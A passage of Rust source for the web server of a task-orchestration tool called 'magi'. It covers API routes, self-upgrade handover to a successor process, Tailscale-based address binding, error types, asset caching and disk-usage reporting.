1405 return true;
1406 }
1407 crate::worker::active(&self.home)
1408 .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1409 || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1410 || !self
1411 .resuming
1412 .lock()
1413 .unwrap_or_else(PoisonError::into_inner)
1414 .is_empty()
1415 || !self
1416 .talk_turns
1417 .lock()
1418 .unwrap_or_else(PoisonError::into_inner)
1419 .live
1420 .is_empty()
1421 || self
1422 .talks
1423 .list()
1424 .iter()
1425 .any(|talk| self.is_thinking(&talk.id))
1426 }
1427
1428 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1432 let mut live = self
1433 .resuming
1434 .lock()
1435 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1436 if self
1437 .upgrade_spawned
1438 .load(std::sync::atomic::Ordering::SeqCst)
1439 {
1440 return Err(ApiError::conflict("an upgrade is in progress"));
1441 }
1442 if !live.insert(id.to_owned()) {
1443 return Err(ApiError::conflict(format!(
1444 "run {id} is already being resumed"
1445 )));
1446 }
1447 Ok(ResumeGuard {
1448 run: id.to_owned(),
1449 resuming: Arc::clone(&self.resuming),
1450 })
1451 }
1452
1453 pub fn router(self) -> Router {
1461 Arc::new(self).shared_router()
1462 }
1463
1464 fn shared_router(self: Arc<Self>) -> Router {
1465 Router::new()
1466 .route("/", get(index))
1467 .route("/app.css", get(app_css))
1468 .route("/app.js", get(app_js))
1469 .route("/api/health", get(health))
1470 .route("/api/references", post(id_links::resolve_text))
1471 .route("/api/loop", get(loop_get).post(loop_post))
1472 .route("/api/upgrade", post(upgrade_post))
1473 .route("/api/runs", get(runs_list))
1474 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1475 .route("/api/runs/{id}/core", get(run_core))
1476 .route("/api/runs/{id}/report", get(run_report))
1477 .route("/api/runs/{id}/report.json", get(run_report_json))
1478 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1479 .route("/api/runs/{id}/fold", post(run_fold))
1480 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1481 .route("/api/runs/{id}/resume", post(run_resume))
1482 .route("/api/queue", get(queue_list))
1483 .route("/api/queue/page", get(queue_page))
1484 .route("/api/search", get(search_get))
1485 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1486 .route("/api/queue/{id}/core", get(task_core))
1487 .route("/api/stats", get(stats_get))
1488 .route("/api/stats/queue", get(stats_queue))
1489 .route("/api/repos", get(repos_list))
1490 .route("/api/settings", get(settings_get))
1491 .route("/api/settings/roles", put(settings_put_roles))
1492 .route("/api/queue/{id}/hold", post(queue_hold))
1493 .route("/api/queue/{id}/release", post(queue_release))
1494 .route("/api/queue/{id}/priority", post(queue_priority))
1495 .route("/api/queue/{id}/urgent", post(queue_urgent))
1496 .route("/api/queue/{id}/implementers", post(queue_implementers))
1497 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1498 .route("/api/queue/{id}/edit", post(queue_edit))
1499 .route("/api/queue/{id}/done", post(queue_done))
1500 .route("/api/questions", get(questions_list))
1501 .route("/api/questions/core", get(questions_core))
1502 .route("/api/questions/origins", get(question_origins))
1503 .route("/api/questions/{id}/answer", post(question_answer))
1504 .route("/api/questions/{id}/say", post(question_say))
1505 .route("/api/questions/{id}/consult", post(question_consult))
1506 .route("/api/questions/{id}/panel", get(question_panel))
1507 .route("/api/questions/{id}/panel/index.html", get(question_panel))
1515 .route("/api/questions/{id}/panel/{name}", get(question_asset))
1516 .route("/api/questions/{id}/asset/{name}", get(question_asset))
1517 .route("/api/notifications", get(notifications_list))
1518 .route("/api/notifications/read-all", post(notifications_read_all))
1519 .route("/api/notifications/{id}/read", post(notification_read))
1520 .route(
1521 "/api/notifications/{id}/dismiss",
1522 post(notification_dismiss),
1523 )
1524 .route("/api/talks", get(talks_list).post(talk_post))
1525 .route("/api/talks/page", get(talks_page))
1526 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1527 .route("/api/talks/{id}/core", get(talk_core))
1528 .route("/api/talks/{id}/sections", get(talk_sections))
1529 .route("/api/talks/{id}/say", post(talk_say))
1530 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1531 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1532 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1533 .route("/api/talks/{id}/agent", post(talk_agent))
1534 .route("/api/talks/{id}/persona", post(talk_persona))
1535 .route("/api/talks/{id}/implementers", post(talk_implementers))
1536 .route("/api/talks/{id}/close", post(talk_close))
1537 .route("/api/talks/{id}/reopen", post(talk_reopen))
1538 .route(
1544 "/api/talks/{id}/attachments",
1545 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1546 )
1547 .route(
1548 "/api/talks/{id}/attachments/{att}",
1549 get(talk_attachment_get),
1550 )
1551 .route("/api/talks/{id}/avatar", get(talk_avatar))
1552 .route("/avatars/operator.svg", get(operator_avatar))
1553 .route(
1554 "/api/avatar-settings",
1555 get(avatar_settings_get)
1556 .put(avatar_settings_put)
1557 .delete(avatar_settings_delete),
1558 )
1559 .route("/avatars/persona", get(settings_persona_avatar))
1560 .route("/avatars/magi", get(magi_avatar))
1561 .route(
1562 "/api/magi-icon",
1563 get(magi_icon_get)
1564 .put(magi_icon_put)
1565 .delete(magi_icon_delete),
1566 )
1567 .route("/api/events", get(events))
1568 .with_state(self)
1569 }
1570}
1571
1572#[derive(Debug)]
1578struct TalkTurnGuard {
1579 talk: String,
1580 turns: Arc<Mutex<TalkTurns>>,
1581 released: bool,
1582 lease: Option<crate::talk::TurnLease>,
1584}
1585
1586#[derive(Debug, Default)]
1593struct TalkTurns {
1594 live: HashSet<String>,
1595 queued: HashMap<String, u64>,
1596}
1597
1598enum TalkTurnStart {
1601 Claimed(TalkTurnGuard),
1602 Busy,
1603 Foreign,
1606 Pending,
1607}
1608
1609impl TalkTurnGuard {
1610 #[cfg(test)]
1611 fn owns(&self) -> bool {
1615 self.lease
1616 .as_ref()
1617 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1618 }
1619
1620 #[cfg(test)]
1621 async fn respond(
1624 &self,
1625 talk: &mut Talk,
1626 talks: &Talks,
1627 cfg: &Config,
1628 text: &str,
1629 ) -> anyhow::Result<()> {
1630 let lease = self
1631 .lease
1632 .as_ref()
1633 .context("the turn guard no longer holds its lease")?;
1634 talk::respond(lease, talk, talks, cfg, text).await
1635 }
1636
1637 fn release(mut self, live: &mut TalkTurns) {
1640 self.lease = None;
1644 live.live.remove(&self.talk);
1645 live.queued.remove(&self.talk);
1646 self.released = true;
1647 }
1648}
1649
1650impl Drop for TalkTurnGuard {
1651 fn drop(&mut self) {
1652 if self.released {
1653 return;
1654 }
1655 drop(self.lease.take());
1657 if let Ok(mut live) = self.turns.lock() {
1658 live.live.remove(&self.talk);
1659 live.queued.remove(&self.talk);
1660 }
1661 }
1662}
1663
1664struct ResumeGuard {
1666 run: String,
1667 resuming: Arc<Mutex<HashSet<String>>>,
1668}
1669
1670impl Drop for ResumeGuard {
1671 fn drop(&mut self) {
1672 if let Ok(mut live) = self.resuming.lock() {
1673 live.remove(&self.run);
1674 }
1675 }
1676}
1677
1678async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1688 const WINDOW: Duration = Duration::from_secs(10);
1689 const GAP: Duration = Duration::from_millis(250);
1690
1691 let deadline = std::time::Instant::now() + WINDOW;
1692 let mut said = false;
1693 loop {
1694 match tokio::net::TcpListener::bind(socket).await {
1695 Ok(listener) => return Ok(listener),
1696 Err(e)
1697 if e.kind() == std::io::ErrorKind::AddrInUse
1698 && std::time::Instant::now() < deadline =>
1699 {
1700 if !said {
1701 said = true;
1702 tracing::info!(
1703 "{socket} is still held - waiting up to {}s for it, \
1704 which is what a restart looks like from here",
1705 WINDOW.as_secs()
1706 );
1707 }
1708 tokio::time::sleep(GAP).await;
1709 }
1710 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1711 }
1712 }
1713}
1714
1715static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1718
1719const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1721const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1723
1724fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1726 value.is_some_and(|v| v == "1")
1727}
1728
1729fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1748 let args: Vec<String> = std::env::args().skip(1).collect();
1749 updater::log_step(
1750 home,
1751 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1752 );
1753 let log_path = home.join(WEB_LOG);
1754 let open_log = || {
1755 std::fs::create_dir_all(home)?;
1756 std::fs::OpenOptions::new()
1757 .create(true)
1758 .append(true)
1759 .open(&log_path)
1760 };
1761 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1762 Ok(pair) => (
1763 std::process::Stdio::from(pair.0),
1764 std::process::Stdio::from(pair.1),
1765 ),
1766 Err(e) => {
1767 updater::log_warn(
1768 home,
1769 &format!(
1770 "could not open {}: {e}; the successor logs nowhere",
1771 log_path.display()
1772 ),
1773 );
1774 (std::process::Stdio::null(), std::process::Stdio::null())
1775 }
1776 };
1777
1778 let mut cmd = std::process::Command::new(exe);
1779 cmd.env_remove(RESUME_LOOP_ENV);
1780 cmd.env(RESTART_PORT_ENV, port.to_string());
1781 cmd.args(&args)
1782 .stdin(std::process::Stdio::null())
1783 .stdout(out)
1784 .stderr(err);
1785 #[cfg(windows)]
1786 {
1787 use std::os::windows::process::CommandExt as _;
1788 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1791 }
1792 let child = cmd.spawn().context("start the successor")?;
1793 Ok(child.id())
1794}
1795
1796const WEB_LOG: &str = "web.log";
1798
1799async fn wait_for_handover(signal: &Notify) {
1803 signal.notified().await;
1804}
1805
1806pub async fn serve(opts: Opts) -> Result<()> {
1809 crate::worker::remember_current_executable()?;
1812 let executable = std::env::current_exe().context("find the installed web executable")?;
1813 let (addr, warning) = resolve_bind(&opts.bind);
1814 if let Some(warning) = warning {
1815 tracing::warn!("{warning}");
1816 }
1817
1818 report::set_color(false);
1824
1825 let repo = normalize_default_repo(opts.repo).await;
1826 let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1827 let home = ui.home.clone();
1829 let admissions = Arc::clone(&ui.admissions);
1830 updater::reconcile_after_restart(&home);
1835 updater::log_step(
1836 &home,
1837 &format!(
1838 "web process started (version {}); handover log {}, successor output {}",
1839 env!("CARGO_PKG_VERSION"),
1840 updater::log_path(&home).display(),
1841 home.join(WEB_LOG).display()
1842 ),
1843 );
1844 updater::spawn_watchdog(home.clone());
1845 let port = if opts.port == 0 {
1853 std::env::var(RESTART_PORT_ENV)
1854 .ok()
1855 .and_then(|value| value.parse::<u16>().ok())
1856 .filter(|port| *port != 0)
1857 .unwrap_or(0)
1858 } else {
1859 opts.port
1860 };
1861 let socket = SocketAddr::new(addr, port);
1862 let listener = bind_waiting(socket).await?;
1863 let bound = listener.local_addr().context("read bound web address")?;
1864 let port = bound.port();
1865 let url = format!("http://{bound}");
1866 tracing::info!(
1867 "magi web UI on {url} - there is no authentication, so anyone who can \
1868 reach this address can file and hold tasks: the tailnet is the \
1869 security boundary"
1870 );
1871 if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
1873 ui.start_detached_loop()
1874 .await
1875 .map_err(|e| anyhow::anyhow!(e.message))?;
1876 }
1877 if opts.open {
1878 println!("{url}");
1882 }
1883
1884 let recheck_ui = ui.clone();
1887 let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
1888 let recheck = tokio::spawn(run_update_recheck(recheck_ui));
1889 let interrupted = async {
1890 if tokio::signal::ctrl_c().await.is_err() {
1891 std::future::pending::<()>().await;
1896 }
1897 };
1898 let handover = wait_for_handover(&HANDOVER);
1899 let outcome = tokio::select! {
1900 joined = &mut served => match joined {
1901 Ok(outcome) => outcome.context("serve the web UI"),
1902 Err(e) => Err(e).context("the task serving the web UI ended"),
1903 },
1904 () = interrupted => {
1905 recheck.abort();
1906 tracing::info!("shutting down the web UI; detached workers continue");
1907 close_admissions(&admissions).await;
1908 served.abort();
1909 let _ = served.await;
1910 Ok(())
1911 }
1912 () = handover => {
1913 recheck.abort();
1914 let successor_home = home.clone();
1915 hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
1916 }
1917 };
1918 recheck.abort();
1919 let _ = recheck.await;
1920 updater::log_step(
1921 &home,
1922 &match &outcome {
1923 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1924 Err(e) => format!("serve: returning an error: {e:#}"),
1925 },
1926 );
1927 outcome
1928}
1929
1930async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1951 if repo != FsPath::new(".") {
1952 return repo;
1953 }
1954 let Ok(canonical) = repo.canonicalize() else {
1955 return repo;
1956 };
1957 if git::toplevel(&canonical).await.is_ok() {
1958 return repo;
1959 }
1960 let Some(home) = dirs::home_dir() else {
1961 return repo;
1962 };
1963 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1964 Some(found) => {
1965 tracing::info!(
1966 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1967 canonical.display(),
1968 found.path.display(),
1969 found.reason,
1970 );
1971 found.path
1972 }
1973 None => repo,
1974 }
1975}
1976
1977async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
1980 *admissions.write().await = true;
1981}
1982
1983async fn hand_over(
1986 home: &FsPath,
1987 admissions: &tokio::sync::RwLock<bool>,
1988 served: tokio::task::JoinHandle<std::io::Result<()>>,
1989 successor: impl FnOnce() -> Result<u32>,
1990) -> Result<()> {
1991 close_admissions(admissions).await;
1992 if let Some(mut progress) = updater::read_progress(home) {
1993 progress.advance(updater::Stage::Restarting);
1994 progress.detail =
1995 Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
1996 updater::write_progress_logged(home, &progress);
1997 }
1998 updater::log_step(
1999 home,
2000 "restarting scheduler without parking execution workers",
2001 );
2002 let scheduler = daemon::restart_detached(home).await;
2003 if let Err(error) = &scheduler {
2004 let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2005 updater::log_warn(
2006 home,
2007 &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2008 );
2009 }
2010 updater::log_step(home, "releasing the web listener");
2011 served.abort();
2012 let _ = served.await;
2013 updater::log_step(home, "web listener released; starting the successor");
2014 match successor() {
2015 Ok(pid) => {
2016 updater::log_step(home, &format!("successor started, pid {pid}"));
2017 scheduler
2018 }
2019 Err(e) => {
2020 let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2021 Err(e)
2022 }
2023 }
2024}
2025
2026pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2032 match bind {
2033 Bind::Addr(addr) => (*addr, None),
2034 Bind::Auto => match tailscale_ip() {
2035 Ok(ip) => (IpAddr::V4(ip), None),
2036 Err(why) => (
2037 IpAddr::V4(Ipv4Addr::LOCALHOST),
2038 Some(format!(
2039 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2040 local-only and a phone cannot reach it; start Tailscale \
2041 or pass --bind <addr>"
2042 )),
2043 ),
2044 },
2045 }
2046}
2047
2048fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2056 let out = std::process::Command::new("tailscale")
2057 .args(["ip", "-4"])
2058 .quiet()
2059 .output()
2060 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2061 if !out.status.success() {
2062 let why = String::from_utf8_lossy(&out.stderr);
2063 let why = why.trim();
2064 return Err(format!(
2065 "`tailscale ip -4` failed ({}){}",
2066 out.status,
2067 if why.is_empty() {
2068 String::new()
2069 } else {
2070 format!(": {why}")
2071 }
2072 ));
2073 }
2074 String::from_utf8_lossy(&out.stdout)
2075 .lines()
2076 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2077 .find(is_tailnet)
2078 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2079}
2080
2081fn is_tailnet(ip: &Ipv4Addr) -> bool {
2083 let o = ip.octets();
2084 o[0] == 100 && (64..=127).contains(&o[1])
2085}
2086
2087type ApiResult<T> = std::result::Result<T, ApiError>;
2091
2092#[derive(Debug)]
2094struct ApiError {
2095 status: StatusCode,
2096 message: String,
2097 text_reason: Option<crate::question_delivery::UnavailableReason>,
2098}
2099
2100impl ApiError {
2101 fn bad_request(message: impl Into<String>) -> Self {
2103 Self {
2104 text_reason: None,
2105 status: StatusCode::BAD_REQUEST,
2106 message: message.into(),
2107 }
2108 }
2109
2110 fn not_found(message: impl Into<String>) -> Self {
2112 Self {
2113 text_reason: None,
2114 status: StatusCode::NOT_FOUND,
2115 message: message.into(),
2116 }
2117 }
2118
2119 fn with_status(mut self, status: StatusCode) -> Self {
2122 self.status = status;
2123 self
2124 }
2125
2126 fn bad_request_from(e: anyhow::Error) -> Self {
2130 Self::bad_request(format!("{e:#}"))
2131 }
2132
2133 fn conflict(message: impl Into<String>) -> Self {
2134 Self {
2135 text_reason: None,
2136 status: StatusCode::CONFLICT,
2137 message: message.into(),
2138 }
2139 }
2140
2141 fn internal(message: impl Into<String>) -> Self {
2143 Self {
2144 text_reason: None,
2145 status: StatusCode::INTERNAL_SERVER_ERROR,
2146 message: message.into(),
2147 }
2148 }
2149}
2150
2151impl From<anyhow::Error> for ApiError {
2152 fn from(e: anyhow::Error) -> Self {
2157 Self::internal(format!("{e:#}"))
2158 }
2159}
2160
2161impl IntoResponse for ApiError {
2162 fn into_response(self) -> Response {
2163 let mut body = serde_json::json!({ "error": self.message });
2164 if let Some(reason) = self.text_reason {
2165 body["code"] = serde_json::json!("question_text_unavailable");
2166 body["reason"] = serde_json::json!(reason);
2167 }
2168 (self.status, Json(body)).into_response()
2169 }
2170}
2171
2172async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2181where
2182 T: Send + 'static,
2183{
2184 #[cfg(test)]
2185 let job = request_cost::carry(job);
2186 match tokio::task::spawn_blocking(job).await {
2187 Ok(result) => result,
2188 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2189 }
2190}
2191
2192async fn bulk_blocking<T>(
2195 slots: Arc<tokio::sync::Semaphore>,
2196 job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2197) -> ApiResult<T>
2198where
2199 T: Send + 'static,
2200{
2201 let permit = slots
2202 .acquire_owned()
2203 .await
2204 .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2205 let (send, receive) = tokio::sync::oneshot::channel();
2206 #[cfg(test)]
2207 let job = request_cost::carry(job);
2208 let runtime = tokio::runtime::Handle::current();
2209 std::thread::Builder::new()
2210 .name("web-bulk".into())
2211 .spawn(move || {
2212 let _permit = permit;
2213 let _runtime = runtime.enter();
2215 let _ = send.send(job());
2216 })
2217 .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2218 receive
2219 .await
2220 .map_err(|_| ApiError::internal("Bulk reader failed"))?
2221}
2222
2223const ASSET_CACHE: &str = "no-cache, must-revalidate";
2241
2242fn asset_etag() -> &'static str {
2249 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2250 format!(
2251 "\"{}-{}\"",
2252 env!("CARGO_PKG_VERSION"),
2253 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2258 )
2259 });
2260 &TAG
2261}
2262
2263fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2265 [
2266 (header::CONTENT_TYPE, mime),
2267 (header::CACHE_CONTROL, ASSET_CACHE),
2268 (header::ETAG, asset_etag()),
2269 ]
2270}
2271
2272fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2280 let tag = asset_etag();
2281 let known = headers
2282 .get(header::IF_NONE_MATCH)
2283 .and_then(|v| v.to_str().ok())
2284 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2288 if known {
2289 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2290 }
2291 (asset_headers(mime), body).into_response()
2292}
2293
2294async fn index(headers: header::HeaderMap) -> Response {
2295 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2296}
2297
2298async fn app_css(headers: header::HeaderMap) -> Response {
2299 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2300}
2301
2302async fn app_js(headers: header::HeaderMap) -> Response {
2303 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2304}
2305
2306#[derive(Debug, Serialize)]
2308struct HealthView {
2309 version: &'static str,
2310 home: String,
2311 queue_rev: u64,
2312 runs_rev: u64,
2313 questions_rev: u64,
2325 talks_rev: u64,
2327 notifications_rev: u64,
2329 notifications_unread: usize,
2332 loop_rev: u64,
2337 runs_unreadable: usize,
2345 disk: Option<serde_json::Value>,
2353 questions_open: usize,
2359 questions_needs_owner: usize,
2369 daemon: DaemonView,
2370 #[serde(rename = "loop")]
2376 looping: LoopView,
2377 update: UpdateView,
2384 upgrade: Option<UpgradeProgressView>,
2388 jobs: Vec<WorkerView>,
2391 upgrade_request_error: Option<UpgradeRequestFailure>,
2392}
2393
2394#[derive(Debug, Serialize)]
2397struct WorkerView {
2398 id: String,
2399 kind: String,
2400 key: String,
2401 pid: Option<u32>,
2402 status: crate::worker::Status,
2403 generation: String,
2404 version: Option<String>,
2405 queue_owned: bool,
2406}
2407
2408impl From<crate::worker::Job> for WorkerView {
2409 fn from(job: crate::worker::Job) -> Self {
2410 let queue_owned = job.kind == "task"
2411 && job
2412 .payload
2413 .get("standalone")
2414 .and_then(serde_json::Value::as_bool)
2415 != Some(true);
2416 Self {
2417 id: job.id,
2418 kind: job.kind,
2419 key: job.key,
2420 pid: job.pid,
2421 status: job.status,
2422 generation: job.generation,
2423 version: job.version,
2424 queue_owned,
2425 }
2426 }
2427}
2428
2429#[derive(Debug, Clone, Serialize)]
2436struct UpdateView {
2437 available: bool,
2439 to: Option<String>,
2441}
2442
2443#[derive(Debug, Serialize)]
2445struct UpgradeProgressView {
2446 trigger: updater::UpgradeTrigger,
2447 stage: updater::Stage,
2448 from: String,
2449 to: Option<String>,
2450 waiting_on: Option<String>,
2453 started_at: Timestamp,
2454 updated_at: Timestamp,
2455 detail: Option<String>,
2456 stuck_for_secs: Option<i64>,
2459 stuck_kind: Option<updater::StallKind>,
2462 handover_alive: bool,
2465}
2466
2467fn should_spawn_recheck(cfg: &Update) -> bool {
2474 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2475}
2476
2477fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2489 if progress.is_some_and(|p| !p.stage.terminal()) {
2490 return false;
2491 }
2492 checker.should_check()
2493}
2494
2495fn recheck_poll_period(cfg: &Update) -> Duration {
2508 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2509}
2510
2511#[derive(Debug, PartialEq, Eq)]
2512enum AutoUpgradeDecision {
2513 Skip(&'static str),
2514 Wait,
2515 Trigger,
2516}
2517
2518fn auto_upgrade_decision(
2519 cfg: &Update,
2520 disabled: bool,
2521 in_motion: bool,
2522 busy: bool,
2523 tag: &str,
2524 failed: Option<&str>,
2525) -> AutoUpgradeDecision {
2526 if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2527 AutoUpgradeDecision::Skip("disabled")
2528 } else if in_motion {
2529 AutoUpgradeDecision::Skip("upgrade already in progress")
2530 } else if failed == Some(tag) {
2531 AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2532 } else if busy {
2533 AutoUpgradeDecision::Wait
2534 } else {
2535 AutoUpgradeDecision::Trigger
2536 }
2537}
2538
2539async fn run_update_recheck(ui: Arc<Ui>) {
2541 loop {
2542 let cfg = match Config::discover(&ui.repo, None) {
2543 Ok((cfg, _)) => cfg,
2544 Err(e) => {
2545 updater::log_warn(
2546 &ui.home,
2547 &format!("auto-upgrade: config unavailable: {e:#}"),
2548 );
2549 tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2550 continue;
2551 }
2552 };
2553 if should_spawn_recheck(&cfg.update)
2554 && let Some(checker) = updater::Checker::new(&cfg.update)
2555 {
2556 let progress = updater::read_progress(&ui.home);
2557 let mut latest = checker.cached_update();
2558 if update_recheck_due(&checker, progress.as_ref()) {
2559 match checker.newer_release().await {
2560 Ok(found) => latest = found,
2561 Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2562 }
2563 }
2564 if cfg.update.auto_restart
2565 && let Some(latest) = latest
2566 {
2567 let response =
2568 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2569 updater::log_step(
2570 &ui.home,
2571 &format!("auto-upgrade: request status {}", response.status()),
2572 );
2573 }
2574 }
2575 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2576 }
2577}
2578
2579fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2585 let default;
2586 let cfg = match cfg {
2587 Some(cfg) => cfg,
2588 None => {
2589 default = Config::default();
2590 &default
2591 }
2592 };
2593 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2594 match latest {
2595 Some(latest) => UpdateView {
2596 available: true,
2597 to: Some(latest.tag_name),
2598 },
2599 None => UpdateView {
2600 available: false,
2601 to: None,
2602 },
2603 }
2604}
2605
2606fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2612 let now = Timestamp::now();
2613 let lease = updater::read_lease(&ui.home);
2614 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2615 let run_id = alive
2616 .and_then(|l| l.parked_run.as_deref())
2617 .or(progress.parked_run.as_deref());
2618 let parking = progress.stage == updater::Stage::Parking;
2619 let waited = alive.map_or_else(String::new, |l| {
2620 let secs = updater::waited_secs(l, now);
2621 format!(" (waited {} min so far)", secs / 60)
2622 });
2623 let run_text = run_id
2624 .filter(|_| parking)
2625 .map(|id| match read_run(&ui.runs, id).ok() {
2626 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2627 None => format!("run {id} is finishing"),
2628 });
2629 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2630 .filter(|t| parking && !t.is_empty())
2631 .map(|t| format!("{t} finishing"));
2632 let waiting_on = match (run_text, talks_text) {
2633 (None, None) => None,
2634 (run, talks) => {
2635 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2636 Some(format!(
2637 "{} before the address is handed over{waited}",
2638 parts.join(" and ")
2639 ))
2640 }
2641 };
2642 let detail = progress
2643 .detail
2644 .clone()
2645 .or_else(|| updater::read_note(&ui.home, &progress));
2646 let stalled = updater::stall(&progress, lease.as_ref(), now);
2647 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2648 UpgradeProgressView {
2649 trigger: progress.trigger,
2650 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2651 stuck_kind: stalled.map(|s| s.kind),
2652 handover_alive: alive.is_some(),
2653 stage: progress.stage,
2654 from: progress.from,
2655 to: progress.to,
2656 waiting_on,
2657 started_at: progress.started_at,
2658 updated_at: progress.updated_at,
2659 detail,
2660 }
2661}
2662
2663#[derive(Debug, Serialize)]
2666struct DiskView {
2667 #[serde(skip_serializing_if = "Option::is_none")]
2669 free_bytes: Option<u64>,
2670 runs_bytes: Option<u64>,
2672 worktrees_bytes: Option<u64>,
2674 #[serde(skip_serializing_if = "Option::is_none")]
2676 cache_bytes: Option<u64>,
2677 retention: Option<crate::retention::Report>,
2679}
2680
2681const DISK_REFRESH: Duration = Duration::from_secs(60);
2684
2685#[derive(Debug, Clone, PartialEq, Eq)]
2686struct DiskScope {
2687 runs: PathBuf,
2688 worktrees: PathBuf,
2689 cache: Option<PathBuf>,
2690}
2691
2692impl DiskScope {
2693 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2694 Self {
2695 runs: ui.runs.clone(),
2696 worktrees: ui.worktrees_root.clone(),
2697 cache: cfg.and_then(Config::cache_dir),
2698 }
2699 }
2700}
2701
2702#[derive(Debug, Clone, Copy, Default)]
2703struct DiskCapacity {
2704 free_bytes: Option<u64>,
2705 runs_bytes: Option<u64>,
2706 worktrees_bytes: Option<u64>,
2707 cache_bytes: Option<u64>,
2708}
2709
2710impl DiskCapacity {
2711 fn measure(scope: &DiskScope) -> Self {
2712 Self {
2713 free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2714 runs_bytes: disk_capacity_size(&scope.runs),
2715 worktrees_bytes: disk_capacity_size(&scope.worktrees),
2716 cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2717 }
2718 }
2719
2720 fn retain_successes(&mut self, next: Self) {
2721 self.free_bytes = next.free_bytes.or(self.free_bytes);
2722 self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2723 self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2724 self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2725 }
2726}
2727
2728fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2731 let metadata = match std::fs::symlink_metadata(path) {
2732 Ok(metadata) => metadata,
2733 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2734 Err(_) => return None,
2735 };
2736 if !metadata.is_dir() {
2737 return Some(if metadata.is_file() {
2738 metadata.len()
2739 } else {
2740 0
2741 });
2742 }
2743 let mut total = 0;
2744 let mut stack = vec![path.to_owned()];
2745 while let Some(dir) = stack.pop() {
